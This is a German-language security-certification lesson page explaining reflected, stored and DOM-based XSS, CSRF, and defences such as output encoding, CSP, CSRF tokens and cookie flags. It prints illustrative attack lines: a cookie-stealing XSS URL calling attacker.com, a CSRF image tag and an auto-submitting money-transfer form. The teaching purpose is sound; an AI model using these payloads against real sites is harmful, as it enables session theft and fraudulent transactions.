0Pricing
Cloud & IT Cert Prep · Lektion

Cross-Site-Scripting (XSS) und CSRF

Verstehen Sie reflektiertes, gespeichertes und DOM-basiertes XSS sowie Cross-Site-Request-Forgery-Angriffe und die browserseitigen Abwehrmechanismen, die sie blockieren.

Cross-Site-Scripting (XSS) und CSRF ist eine kostenlose Cloud & IT Cert Prep-Lektion auf CoddyKit. Dies ist Lektion 2 von 4. Du kannst die komplette Lektion unten kostenlos lesen – dann übst du sie direkt im Browser mit einem integrierten Code-Editor und einem KI-Tutor rund um die Uhr. Sie ist Teil des Cloud & IT Cert Prep-Lernpfads, und dein Fortschritt wird über Web und CoddyKit-App synchronisiert. Der Cloud & IT Cert Prep-Kurs umfasst insgesamt 4 Lektionen.

Was ist Cross-Site Scripting?

Cross-Site Scripting (XSS) ist eine clientseitige Injection-Schwachstelle, bei der ein Angreifer schädliche Skripte in Webseiten einschleust, die von anderen Benutzern aufgerufen werden. Im Gegensatz zu SQL-Injection, die auf den Server abzielt, richtet sich XSS gegen den Browser des Opfers. Wenn der Browser das Skript des Angreifers rendert, wird es mit denselben Berechtigungen wie legitime Seitenskripte ausgeführt. Dadurch werden Session-Hijacking, der Diebstahl von Zugangsdaten und die Verbreitung von Malware ermöglicht.

Reflected XSS erklärt

Reflected XSS tritt auf, wenn ein schädliches Skript in eine URL eingebettet und vom Server ohne ordnungsgemäße Kodierung sofort in der HTTP-Antwort „reflektiert“ wird. Das Opfer wird (häufig über einen Phishing-Link) dazu gebracht, die manipulierte URL anzuklicken, wodurch sein Browser das Skript des Angreifers ausführt. Reflected XSS ist nicht persistent – es wird nur ausgeführt, wenn das Opfer auf den schädlichen Link klickt.

# Malicious URL with reflected XSS payload
https://example.com/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

# Server reflects the query param unsanitized into the HTML:
# <p>Results for: <script>...</script></p>

Stored XSS und DOM-basiertes XSS

Stored XSS (persistentes XSS) bettet ein schädliches Skript in die Datenbank der Anwendung ein, beispielsweise in einen Kommentar oder Forenbeitrag. Bei jedem Benutzer, der diesen Inhalt aufruft, wird das Skript im Browser ausgeführt. Dadurch ist Stored XSS wesentlich gefährlicher als Reflected XSS. DOM-basiertes XSS tritt vollständig im Browser auf, wenn clientseitiges JavaScript von einem Angreifer kontrollierte Daten aus dem DOM (z. B. dem URL-Fragment) liest und sie unsicher zurück in die Seite schreibt.

XSS-Schutzmaßnahmen: Kodierung und CSP

Die wichtigste Schutzmaßnahme gegen XSS ist die Ausgabekodierung: Wandeln Sie Sonderzeichen vor ihrer Darstellung im Browser in die entsprechenden HTML-Entitäten (&lt;, &gt;, &amp;) um. Ein Header mit einer Content Security Policy (CSP) schränkt ein, welche Skripte ausgeführt werden dürfen, und bietet eine wichtige zusätzliche Schutzmaßnahme. Auch auf der Serverseite sollte eine Eingabevalidierung (Allowlist) eingesetzt werden.

# HTTP header — Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'

# Blocks inline scripts and restricts external script sources

Was ist Cross-Site Request Forgery?

Cross-Site Request Forgery (CSRF) nutzt das Vertrauen aus, das eine Website dem Browser eines authentifizierten Benutzers entgegenbringt. Ein Angreifer bringt den Browser des Opfers dazu, eine unerwünschte authentifizierte Anfrage an eine Website zu senden, bei der das Opfer angemeldet ist. Da der Browser Sitzungscookies automatisch anhängt, hält der Zielserver die Anfrage für legitim. Bei gängigen CSRF-Angriffen werden Geldbeträge überwiesen, E-Mail-Adressen geändert oder Kontoeinstellungen angepasst.

So funktioniert ein CSRF-Angriff

Stellen Sie sich vor, ein Benutzer ist bei seiner Bank unter bank.com angemeldet. Ein Angreifer sendet ihm eine E-Mail mit einem versteckten Bild-Tag: <img src='https://bank.com/transfer?to=attacker&amount=1000'>. Beim Öffnen der E-Mail lädt der Browser die Bild-URL automatisch und sendet dabei die Überweisungsanfrage zusammen mit dem Sitzungscookie des Opfers. Die Bank verarbeitet sie als legitime Anfrage.

<!-- Malicious hidden form on attacker's page -->
<form action='https://bank.com/transfer' method='POST' id='csrf'>
  <input type='hidden' name='to' value='attacker_account' />
  <input type='hidden' name='amount' value='5000' />
</form>
<script>document.getElementById('csrf').submit();</script>

CSRF-Schutzmaßnahmen: Tokens und SameSite

Die wirksamste CSRF-Schutzmaßnahme ist ein CSRF-Token – ein eindeutiger, nicht vorhersehbarer Wert, der in jedes Formular eingebettet und serverseitig überprüft wird. Da der Angreifer das Token aufgrund der Same-Origin-Policy nicht von einer anderen Origin auslesen kann, enthalten gefälschte Anfragen kein gültiges Token und werden abgelehnt. Das SameSite-Cookie-Attribut (SameSite=Strict oder Lax) verhindert außerdem, dass Browser Cookies bei Cross-Site-Anfragen senden.

# Set SameSite cookie attribute
Set-Cookie: sessionid=abc123; SameSite=Strict; Secure; HttpOnly

# HTML hidden CSRF token in form
<input type='hidden' name='csrf_token' value='a8f3b2c7d1e4...' />

XSS vs. CSRF: Die wichtigsten Unterschiede

XSS und CSRF werden häufig verwechselt, zielen jedoch auf unterschiedliche Elemente. XSS schleust ein schädliches Skript ein, das im Browser des Opfers ausgeführt wird, und nutzt das Vertrauen des Benutzers in die Website aus. CSRF fälscht Anfragen vom Browser des Opfers an eine vertrauenswürdige Website und nutzt das Vertrauen der Website in den Browser des Benutzers aus. XSS kann zum Diebstahl von CSRF-Tokens verwendet werden, wodurch sich die beiden Schwachstellen effektiv miteinander verketten lassen.

HttpOnly- und Secure-Cookie-Flags

Cookie-Flags bieten wichtige Schutzmaßnahmen gegen XSS. Das HttpOnly-Flag verhindert, dass JavaScript über document.cookie auf das Cookie zugreift, und erschwert so den Diebstahl von Sitzungstokens, selbst wenn XSS vorhanden ist. Das Secure-Flag stellt sicher, dass Cookies nur über HTTPS übertragen werden, und verhindert so das Abfangen über unverschlüsselte Verbindungen. Beide Flags sollten als Defense-in-Depth-Maßnahme für alle Sitzungscookies gesetzt werden.

Set-Cookie: sessionid=xyz789; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=3600

Testen auf XSS-Schwachstellen

Sicherheitstester identifizieren XSS, indem sie Test-Payloads in jedes Eingabefeld, jeden URL-Parameter, jeden HTTP-Header und jedes JSON-Feld einschleusen. Ein einfacher Test ist <script>alert(1)</script> – wird ein Warnfenster angezeigt, ist XSS bestätigt. Tools wie Burp Suite automatisieren XSS-Scans, und OWASP ZAP bietet aktive Scans kostenlos an. Für DOM-basiertes XSS ist eine Analyse des browserseitigen JavaScripts erforderlich, nicht lediglich die Untersuchung der Serverantwort.

Auswirkungen von XSS in der Praxis

XSS-Angriffe haben in der Praxis erheblichen Schaden verursacht. Der Samy-Wurm (2005) verbreitete sich innerhalb von 20 Stunden über MySpace, indem er Stored XSS ausnutzte, um sich selbst auf mehr als eine Million Profile zu verbreiten. XSS-Angriffe können Sitzungstokens stehlen und dadurch Konten vollständig übernehmen, Benutzer auf Phishing-Websites umleiten, Browser-Exploits ausliefern (Drive-by-Downloads) und Seiteninhalte so verändern, dass ausgewählten Benutzern falsche Informationen angezeigt werden.

Kurze Wissensüberprüfung

Testen Sie Ihr Verständnis der CompTIA-Security+-Konzepte (SY0-701) aus dieser Lektion.

Zusammenfassung der Lektion

In dieser Lektion haben Sie gelernt: XSS schleust Skripte in Seiten ein, die von anderen Benutzern aufgerufen werden, CSRF bringt authentifizierte Browser dazu, gefälschte Anfragen zu senden und Ausgabekodierung, CSP, CSRF-Tokens sowie das SameSite-Cookie-Attribut sind die wichtigsten Schutzmaßnahmen. Als Nächstes befassen wir uns mit fehlerhafter Authentifizierung und unsicherer Deserialisierung.

Häufig gestellte Fragen

Ist die Lektion „Cross-Site-Scripting (XSS) und CSRF“ kostenlos?

Ja — der vollständige Text von „Cross-Site-Scripting (XSS) und CSRF“ ist hier im Web kostenlos zu lesen. Um sie interaktiv zu üben (integrierter Code-Editor und 24/7 KI-Tutor) und den Rest des Cloud & IT Cert Prep-Kurses freizuschalten, upgrade auf CoddyKit PRO. Der Cloud & IT Cert Prep-Kurs umfasst insgesamt 4 Lektionen.

Was lerne ich in „Cross-Site-Scripting (XSS) und CSRF“?

Verstehen Sie reflektiertes, gespeichertes und DOM-basiertes XSS sowie Cross-Site-Request-Forgery-Angriffe und die browserseitigen Abwehrmechanismen, die sie blockieren. Du übst Cloud & IT Cert Prep mit praktischem Code, den du direkt im Browser ausführst, und ein 24/7 KI-Tutor beantwortet deine Fragen während du die Lektion bearbeitest.

Brauche ich Erfahrung, um Cloud & IT Cert Prep zu starten?

Keine Vorkenntnisse erforderlich. Cloud & IT Cert Prep auf CoddyKit ist für Anfänger bis fortgeschrittene Lernende strukturiert, sodass du hier starten oder von Anfang an beginnen und in deinem eigenen Tempo voranschreiten kannst. Dies ist Lektion 2 von 4.

Wie lange dauert die Lektion „Cross-Site-Scripting (XSS) und CSRF“?

Die meisten CoddyKit-Lektionen dauern etwa 5–10 Minuten. Jede ist kompakt und interaktiv, sodass du stetig Fortschritte machst und genau dort weitermachst, wo du aufgehört hast – im Web und in der App.

Kann ich in dieser Cloud & IT Cert Prep-Lektion Code schreiben und ausführen?

Ja. Jede Cloud & IT Cert Prep-Lektion enthält einen integrierten Code-Editor, sodass du echten Code direkt in deinem Browser schreibst und ausführst und sofort KI-Feedback erhältst — ohne lokale Einrichtung erforderlich.

Alle Lektionen in diesem Kurs

  1. SQL-Injection und Command-Injection
  2. Cross-Site-Scripting (XSS) und CSRF
  3. Fehlerhafte Authentifizierung und unsichere Deserialisierung
  4. Sicherer SDLC, SAST- und DAST-Tools
← Zurück zu Cloud & IT Cert Prep